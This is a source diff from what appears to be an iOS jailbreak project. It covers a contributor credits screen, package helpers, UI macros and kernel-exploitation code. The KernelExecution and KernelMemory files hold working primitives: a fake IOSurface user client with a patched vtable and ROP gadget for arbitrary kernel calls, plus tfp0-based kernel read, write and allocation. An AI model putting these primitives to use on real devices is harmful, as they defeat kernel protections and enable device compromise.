@@ -142,7 +83,7 @@
}
-(IBAction)tappedOnRob:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"AyyItzRob"] options:@{} completionHandler:nil];
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Rob_Coleman123"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnMidnightChip:(id)sender{
@@ -165,52 +106,12 @@
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Jakeashacks"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnJonathanSeals:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"JonathanSeals"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnSaurik:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"saurik"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnSiguza:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"s1guza"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnExternalist:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"Externalist"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnRealBrightiup:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"realBrightiup"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnNitoTV:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"nitoTV"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnMatchstic:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"_Matchstic"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnUmanghere:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"umanghere"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnMiscMisty:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"MiscMisty"] options:@{} completionHandler:nil];
}
-(IBAction)tappedOnBen:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"benjweaverdev"] options:@{} completionHandler:nil];
}
- (IBAction)tappedOnSamG:(id)sender{
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://reddit.com/u/Samg_is_a_Ninja"] options:@{} completionHandler:nil];
}
- (IBAction)tappedOnDennis:(id)sender{
[[UIApplication sharedApplication] openURL:[CreditsTableViewController getURLForUserName:@"DennisBednarz"] options:@{} completionHandler:nil];
}
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
return 44;
}
@end
+1 -1
View File
@@ -14,7 +14,7 @@ NSDictionary *parseDependsOrProvides(NSString *string);
BOOL compareDpkgVersion(NSString *version1, NSString *op, NSString *version2, BOOL *result);
NSString *versionOfPkg(NSString *pkg);
NSArray *resolveDepsForPkg(NSString * _Nonnull pkg, BOOL noPreDeps);
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject);
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps);
NSDictionary *getPkgs(void);
NSString *debForPkg(NSString *pkg);
NSArray <NSString*> *debsForPkgs(NSArray <NSString*> *pkgs);
+6 -3
View File
@@ -324,7 +324,7 @@ NSArray *resolveDepsForPkg(NSString *pkg, BOOL preDeps) {
return resolveDepsForPkgWithQueue(pkg, nil, preDeps);
}
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, bool doInject) {
BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps) {
NSArray *pkgsForPkg = resolveDepsForPkg(pkg, preDeps);
if (pkgsForPkg == nil || pkgsForPkg.count < 1) {
LOG("Found no pkgs to install for \"%@\"", pkg);
@@ -342,7 +342,7 @@ BOOL extractDebsForPkg(NSString *pkg, NSMutableArray *installed, BOOL preDeps, b
// Already installed all these
return YES;
}
if (!extractDebs(debsForPkg, doInject)) {
if (!extractDebs(debsForPkg)) {
LOG("Failed to extract debs for \"%@\"", pkg);
return NO;
}
@@ -403,7 +403,10 @@ NSDictionary *getPkgs(void) {
}
}
}
SafeFreeNULL(line);
if (line) {
free(line);
line = NULL;
}
fclose(pkgs_file);
mpkgs[@"firmware"] = @{
+14 -130
View File
@@ -7,137 +7,45 @@
//
#import <UIKit/UIKit.h>
#import <UIProgressHUD.h>
#import "common.h"
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
static NSString *message = nil;
#define SETMESSAGE(msg) (message = msg)
#define _assert(test, message, fatal) do \
if (!(test)) { \
int saved_errno = errno; \
LOG("_assert(%d:%s)@%s:%u[%s]", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
LOG("__assert(%d:%s)@%s:%u[%s]", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
if (message != nil) \
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s\nDescription: %@", errno, #test, __FILENAME__, __LINE__, __FUNCTION__, message], true, false); \
else \
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", saved_errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
if (fatal) { \
if ([[JailbreakViewController sharedController] canExit]) {\
exit(EXIT_FAILURE); \
} else { \
return; \
} \
errno = saved_errno; \
} \
showAlert(fatal ? @"Error (Fatal)" : @"Error (Nonfatal)", [NSString stringWithFormat:@"Errno: %d\nTest: %s\nFilename: %s\nLine: %d\nFunction: %s", errno, #test, __FILENAME__, __LINE__, __FUNCTION__], true, false); \
if (fatal) \
exit(EXIT_FAILURE); \
} \
while (false)
#define notice(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
#define status(msg, btnenbld, nvbenbld) do { \
dispatch_async(dispatch_get_main_queue(), ^{ \
if ([[[[[JailbreakViewController sharedController] goButton] titleLabel] text] isEqualToString:msg]) return; \
LOG("Status: %@", msg); \
[UIView performWithoutAnimation:^{ \
[[[JailbreakViewController sharedController] goButton] setEnabled:btnenbld]; \
[[[JailbreakViewController sharedController] settingsButton] setUserInteractionEnabled:nvbenbld]; \
[[[JailbreakViewController sharedController] goButton] setTitle:msg forState: btnenbld ? UIControlStateNormal : UIControlStateDisabled]; \
[[[JailbreakViewController sharedController] goButton] layoutIfNeeded]; \
}]; \
}); \
} while (false)
#define progress(x) do { \
dispatch_async(dispatch_get_main_queue(), ^{ \
if ([[[[JailbreakViewController sharedController] exploitMessageLabel] text] isEqualToString:x]) return; \
LOG("Progress: %@", x); \
[[[JailbreakViewController sharedController] exploitMessageLabel] setText:x]; \
}); \
} while (false)
#define NOTICE(msg, wait, destructive) showAlert(@"Notice", msg, wait, destructive)
@interface JailbreakViewController : UIViewController
@property (weak, nonatomic) IBOutlet UIButton *goButton;
@property (weak, nonatomic) IBOutlet UITextView *outputView;
@property (weak, nonatomic) IBOutlet UIButton *darkModeButton;
@property (weak, nonatomic) IBOutlet UIButton *settingsButton;
@property (weak, nonatomic) IBOutlet UIButton *mainDevsButton;
@property (weak, nonatomic) IBOutlet UILabel *exploitProgressLabel;
@property (weak, nonatomic) IBOutlet UILabel *exploitMessageLabel;
@property (weak, nonatomic) IBOutlet UILabel *u0Label;
@property (weak, nonatomic) IBOutlet UILabel *uOVersionLabel;
@property (weak, nonatomic) IBOutlet UIProgressView *jailbreakProgressBar;
@property (weak, nonatomic) IBOutlet UIView *mainView;
@property (weak, nonatomic) IBOutlet UIView *creditsView;
@property (weak, nonatomic) IBOutlet UIView *settingsView;
@property (weak, nonatomic) IBOutlet UIView *mainDevView;
@property (weak, nonatomic) IBOutlet UIView *backgroundView;
@property (weak, nonatomic) IBOutlet UINavigationBar *settingsNavBar;
@property (weak, nonatomic) IBOutlet UINavigationBar *creditsNavBar;
@property (weak, nonatomic) IBOutlet UILabel *jailbreakLabel;
@property (weak, nonatomic) IBOutlet UILabel *byLabel;
@property (weak, nonatomic) IBOutlet UILabel *uncoverLabel;
@property (weak, nonatomic) IBOutlet UILabel *supportedOSLabel;
@property (weak, nonatomic) IBOutlet UILabel *UIByLabel;
@property (weak, nonatomic) IBOutlet UILabel *firstAndLabel;
@property (weak, nonatomic) IBOutlet UILabel *fourthAndLabel;
@property (readonly) JailbreakViewController *sharedController;
@property (assign) BOOL canExit;
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *goButtonSpacing;
double uptime(void);
int necp_die(void);
NSString *hexFromInt(NSInteger val);
- (IBAction)tappedOnJailbreak:(id)sender;
+(JailbreakViewController*)sharedController;
- (void)appendTextToOutput:(NSString*)text;
- (void)updateStatus;
@end
static inline UIProgressHUD *addProgressHUD() {
__block UIProgressHUD *hud = nil;
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
dispatch_async(dispatch_get_main_queue(), ^{
hud = [[UIProgressHUD alloc] init];
[hud setAutoresizingMask:UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight];
UIView *view = [[JailbreakViewController sharedController] view];
[hud showInView:view];
dispatch_semaphore_signal(semaphore);
});
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
return hud;
}
static inline void removeProgressHUD(UIProgressHUD *hud) {
if (hud == nil) {
return;
}
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
dispatch_async(dispatch_get_main_queue(), ^{
[hud hide];
[hud done];
dispatch_semaphore_signal(semaphore);
});
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}
static inline void updateProgressHUD(UIProgressHUD *hud, NSString *msg) {
if (hud == nil) {
return;
}
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
dispatch_async(dispatch_get_main_queue(), ^{
[hud setText:msg];
dispatch_semaphore_signal(semaphore);
});
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}
static inline void showAlertWithCancel(NSString *title, NSString *message, Boolean wait, Boolean destructive, NSString *cancel) {
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
dispatch_semaphore_t semaphore;
if (wait)
semaphore = dispatch_semaphore_create(0);
@@ -147,37 +55,13 @@ static inline void showAlertWithCancel(NSString *title, NSString *message, Boole
[controller dismissViewControllerAnimated:YES completion:nil];
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert];
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
controller.canExit = YES;
if (wait)
dispatch_semaphore_signal(semaphore);
}];
[alertController addAction:OK];
[alertController setPreferredAction:OK];
if (cancel) {
UIAlertAction *abort = [UIAlertAction actionWithTitle:cancel style:destructive ? UIAlertActionStyleDestructive : UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
controller.canExit = NO;
if (wait)
dispatch_semaphore_signal(semaphore);
}];
[alertController addAction:abort];
[alertController setPreferredAction:abort];
}
[controller presentViewController:alertController animated:YES completion:nil];
});
if (wait)
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
}
static inline void showAlert(NSString *title, NSString *message, Boolean wait, Boolean destructive) {
__block bool outputIsHidden;
dispatch_block_t checkOutput = ^{
outputIsHidden = [[[JailbreakViewController sharedController] outputView] isHidden];
};
if ([[NSThread currentThread] isMainThread]) {
checkOutput();
} else {
dispatch_sync(dispatch_get_main_queue(), checkOutput);
}
showAlertWithCancel(title, message, wait, destructive, outputIsHidden?nil:@"View Log");
}
File diff suppressed because it is too large Load Diff
+5 -4
View File
@@ -1,6 +1,7 @@
#include <common.h>
#include <inttypes.h>
#include <mach/mach.h>
bool init_kexec(void);
void term_kexec(void);
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6);
mach_port_t prepare_user_client(void);
void init_kexecute(void);
void term_kexecute(void);
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
+25 -58
View File
@@ -1,19 +1,12 @@
#include "KernelExecution.h"
#include "KernelMemory.h"
#include "KernelOffsets.h"
#include "KernelStructureOffsets.h"
#include "KernelUtilities.h"
#include "find_port.h"
#include "kernel_call.h"
#include <common.h>
#include <iokit.h>
#include <pthread.h>
#import <patchfinder64.h>
#include "parameters.h"
#include "kc_parameters.h"
#include "kernel_memory.h"
#if !__arm64e__
static mach_port_t prepare_user_client()
mach_port_t prepare_user_client()
{
kern_return_t err;
mach_port_t user_client;
@@ -30,49 +23,34 @@ static mach_port_t prepare_user_client()
exit(EXIT_FAILURE);
}
LOG("got user client: 0x%x", user_client);
return user_client;
}
pthread_mutex_t kexecute_lock;
static mach_port_t user_client;
static kptr_t IOSurfaceRootUserClient_port;
static kptr_t IOSurfaceRootUserClient_addr;
static kptr_t fake_vtable;
static kptr_t fake_client;
static const int fake_kalloc_size = 0x1000;
#endif
static pthread_mutex_t kexec_lock;
static uint64_t IOSurfaceRootUserClient_port;
static uint64_t IOSurfaceRootUserClient_addr;
static uint64_t fake_vtable;
static uint64_t fake_client;
const int fake_kalloc_size = 0x1000;
bool init_kexec()
void init_kexecute()
{
#if __arm64e__
if (!parameters_init()) return false;
kernel_task_port = tfp0;
if (!MACH_PORT_VALID(kernel_task_port)) return false;
current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
if (!KERN_POINTER_VALID(current_task)) return false;
kernel_task = ReadKernel64(getoffset(kernel_task));
if (!KERN_POINTER_VALID(kernel_task)) return false;
if (!kernel_call_init()) return false;
#else
user_client = prepare_user_client();
if (!MACH_PORT_VALID(user_client)) return false;
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;
IOSurfaceRootUserClient_port = get_address_of_port(getpid(), user_client); // UserClients are just mach_ports, so we find its address
IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;
kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;
uint64_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
// Create the vtable in the kernel memory, then copy the existing vtable into there
fake_vtable = kmem_alloc(fake_kalloc_size);
if (!KERN_POINTER_VALID(fake_vtable)) return false;
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
@@ -80,7 +58,6 @@ bool init_kexec()
// Create the fake user client
fake_client = kmem_alloc(fake_kalloc_size);
if (!KERN_POINTER_VALID(fake_client)) return false;
for (int i = 0; i < 0x200; i++) {
WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
@@ -95,33 +72,22 @@ bool init_kexec()
// Now the userclient port we have will look into our fake user client rather than the old one
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));
WriteKernel64(fake_vtable + 8 * 0xB7, GETOFFSET(add_x0_x0_0x40_ret));
#endif
pthread_mutex_init(&kexec_lock, NULL);
return true;
pthread_mutex_init(&kexecute_lock, NULL);
}
void term_kexec()
void term_kexecute()
{
#if __arm64e__
kernel_call_deinit();
#else
WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
kmem_free(fake_vtable, fake_kalloc_size);
kmem_free(fake_client, fake_kalloc_size);
IOServiceClose(user_client);
#endif
pthread_mutex_destroy(&kexec_lock);
}
kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6)
{
kptr_t returnval = 0;
pthread_mutex_lock(&kexec_lock);
#if __arm64e__
returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
pthread_mutex_lock(&kexecute_lock);
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
@@ -132,14 +98,15 @@ kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4,
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
// (i'm not actually sure if the switch back is necessary but meh)
kptr_t offx20 = ReadKernel64(fake_client + 0x40);
kptr_t offx28 = ReadKernel64(fake_client + 0x48);
uint64_t offx20 = ReadKernel64(fake_client + 0x40);
uint64_t offx28 = ReadKernel64(fake_client + 0x48);
WriteKernel64(fake_client + 0x40, x0);
WriteKernel64(fake_client + 0x48, ptr);
returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
WriteKernel64(fake_client + 0x48, addr);
uint64_t returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
WriteKernel64(fake_client + 0x40, offx20);
WriteKernel64(fake_client + 0x48, offx28);
#endif
pthread_mutex_unlock(&kexec_lock);
pthread_mutex_unlock(&kexecute_lock);
return returnval;
}
+83 -65
View File
@@ -7,9 +7,6 @@
#include "KernelUtilities.h"
#include <common.h>
size_t kreads = 0;
size_t kwrites = 0;
// the exploit bootstraps the full kernel memory read/write with a fake
// task which just allows reading via the bsd_info->pid trick
// this first port is kmem_read_port
@@ -32,15 +29,15 @@ void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
bool have_kmem_read()
{
return MACH_PORT_VALID(kmem_read_port) || MACH_PORT_VALID(tfp0);
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
}
bool have_kmem_write()
{
return MACH_PORT_VALID(tfp0);
return (tfp0 != MACH_PORT_NULL);
}
size_t kread(kptr_t where, void* p, size_t size)
size_t kread(uint64_t where, void* p, size_t size)
{
int rv;
size_t offset = 0;
@@ -60,11 +57,10 @@ size_t kread(kptr_t where, void* p, size_t size)
}
offset += sz;
}
kreads += offset;
return offset;
}
size_t kwrite(kptr_t where, const void* p, size_t size)
size_t kwrite(uint64_t where, const void* p, size_t size)
{
int rv;
size_t offset = 0;
@@ -83,45 +79,51 @@ size_t kwrite(kptr_t where, const void* p, size_t size)
}
offset += chunk;
}
kwrites += offset;
return offset;
}
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length)
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
if (!MACH_PORT_VALID(tfp0)) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return false;
}
return (kwrite(kaddr, buffer, length) == length);
}
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length)
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
if (!MACH_PORT_VALID(tfp0)) {
LOG("attempt to read kernel memory but no kernel memory read primitives available");
return 0;
}
return (kread(kaddr, buffer, length) == length);
}
bool WriteKernel32(kptr_t kaddr, uint32_t val)
void WriteKernel32(uint64_t kaddr, uint32_t val)
{
return wkbuffer(kaddr, &val, sizeof(val));
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
bool WriteKernel64(kptr_t kaddr, uint64_t val)
void WriteKernel64(uint64_t kaddr, uint64_t val)
{
return wkbuffer(kaddr, &val, sizeof(val));
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
{
kern_return_t err;
if (kmem_read_port == MACH_PORT_NULL) {
LOG("kmem_read_port not set, have you called prepare_rk?");
sleep(10);
exit(EXIT_FAILURE);
}
@@ -129,6 +131,7 @@ uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
if (err != KERN_SUCCESS) {
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
@@ -137,20 +140,21 @@ uint32_t rk32_via_kmem_read_port(kptr_t kaddr)
err = pid_for_task(kmem_read_port, (int*)&val);
if (err != KERN_SUCCESS) {
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
return val;
}
uint32_t rk32_via_tfp0(kptr_t kaddr)
uint32_t rk32_via_tfp0(uint64_t kaddr)
{
uint32_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
{
uint64_t lower = rk32_via_kmem_read_port(kaddr);
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
@@ -158,41 +162,50 @@ uint64_t rk64_via_kmem_read_port(kptr_t kaddr)
return full;
}
uint64_t rk64_via_tfp0(kptr_t kaddr)
uint64_t rk64_via_tfp0(uint64_t kaddr)
{
uint64_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint32_t ReadKernel32(kptr_t kaddr)
uint32_t ReadKernel32(uint64_t kaddr)
{
if (MACH_PORT_VALID(tfp0)) {
if (tfp0 != MACH_PORT_NULL) {
return rk32_via_tfp0(kaddr);
} else if (MACH_PORT_VALID(kmem_read_port)) {
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk32_via_kmem_read_port(kaddr);
} else {
LOG("attempt to read kernel memory but no kernel memory read primitives available");
return 0;
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
uint64_t ReadKernel64(kptr_t kaddr)
uint64_t ReadKernel64(uint64_t kaddr)
{
if (MACH_PORT_VALID(tfp0)) {
if (tfp0 != MACH_PORT_NULL) {
return rk64_via_tfp0(kaddr);
} else if (MACH_PORT_VALID(kmem_read_port)) {
return rk64_via_kmem_read_port(kaddr);
} else {
LOG("attempt to read kernel memory but no kernel memory read primitives available");
return 0;
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk64_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
const uint64_t kernel_address_space_base = 0xffff000000000000;
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
{
if (KERN_POINTER_VALID(dest)) {
// copy to kernel
if (dest >= kernel_address_space_base) {
// copy to kernel:
wkbuffer(dest, (void*)src, length);
} else {
// copy from kernel
@@ -200,10 +213,11 @@ void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
}
}
kptr_t kmem_alloc(uint64_t size)
uint64_t kmem_alloc(uint64_t size)
{
if (!MACH_PORT_VALID(tfp0)) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
@@ -213,16 +227,17 @@ kptr_t kmem_alloc(uint64_t size)
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
kptr_t kmem_alloc_wired(uint64_t size)
uint64_t kmem_alloc_wired(uint64_t size)
{
if (!MACH_PORT_VALID(tfp0)) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
@@ -230,58 +245,61 @@ kptr_t kmem_alloc_wired(uint64_t size)
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
LOG("allocated address: %llx", addr);
addr += 0x3fff;
addr &= ~0x3fffull;
host_t host = mach_host_self();
err = mach_vm_wire(host, tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
mach_port_deallocate(mach_task_self(), host);
host = HOST_NULL;
LOG("address to wire: %llx", addr);
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
if (err != KERN_SUCCESS) {
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
bool kmem_free(kptr_t kaddr, uint64_t size)
void kmem_free(uint64_t kaddr, uint64_t size)
{
if (!MACH_PORT_VALID(tfp0)) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
return false;
sleep(3);
return;
}
kern_return_t err;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_deallocate(tfp0, kaddr, ksize);
if (err != KERN_SUCCESS) {
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
return false;
sleep(3);
return;
}
return true;
}
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot)
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
{
if (!MACH_PORT_VALID(tfp0)) {
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
return false;
sleep(3);
return;
}
kern_return_t err;
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
if (err != KERN_SUCCESS) {
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
return false;
sleep(3);
return;
}
return true;
}
+12 -28
View File
@@ -3,7 +3,6 @@
#include <mach/mach.h>
#include <stdbool.h>
#include <common.h>
/***** mach_vm.h *****/
kern_return_t mach_vm_read(
@@ -44,46 +43,31 @@ kern_return_t mach_vm_protect(
boolean_t set_maximum,
vm_prot_t new_protection);
kern_return_t mach_vm_remap(
mach_port_name_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
mach_vm_offset_t mask,
int flags,
mach_port_name_t src_task,
mach_vm_address_t src_address,
boolean_t copy,
vm_prot_t *cur_protection,
vm_prot_t *max_protection,
vm_inherit_t inheritance);
extern size_t kreads;
extern size_t kwrites;
extern mach_port_t tfp0;
size_t kread(kptr_t where, void* p, size_t size);
size_t kwrite(kptr_t where, const void* p, size_t size);
size_t kread(uint64_t where, void* p, size_t size);
size_t kwrite(uint64_t where, const void* p, size_t size);
#define rk32(kaddr) ReadKernel32(kaddr)
#define rk64(kaddr) ReadKernel64(kaddr)
uint32_t ReadKernel32(kptr_t kaddr);
uint64_t ReadKernel64(kptr_t kaddr);
uint32_t ReadKernel32(uint64_t kaddr);
uint64_t ReadKernel64(uint64_t kaddr);
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
bool WriteKernel32(kptr_t kaddr, uint32_t val);
bool WriteKernel64(kptr_t kaddr, uint64_t val);
void WriteKernel32(uint64_t kaddr, uint32_t val);
void WriteKernel64(uint64_t kaddr, uint64_t val);
bool wkbuffer(kptr_t kaddr, void* buffer, size_t length);
bool rkbuffer(kptr_t kaddr, void* buffer, size_t length);
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
bool kmem_protect(kptr_t kaddr, uint32_t size, vm_prot_t prot);
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
kptr_t kmem_alloc(uint64_t size);
kptr_t kmem_alloc_wired(uint64_t size);
bool kmem_free(kptr_t kaddr, uint64_t size);
uint64_t kmem_alloc(uint64_t size);
uint64_t kmem_alloc_wired(uint64_t size);
void kmem_free(uint64_t kaddr, uint64_t size);
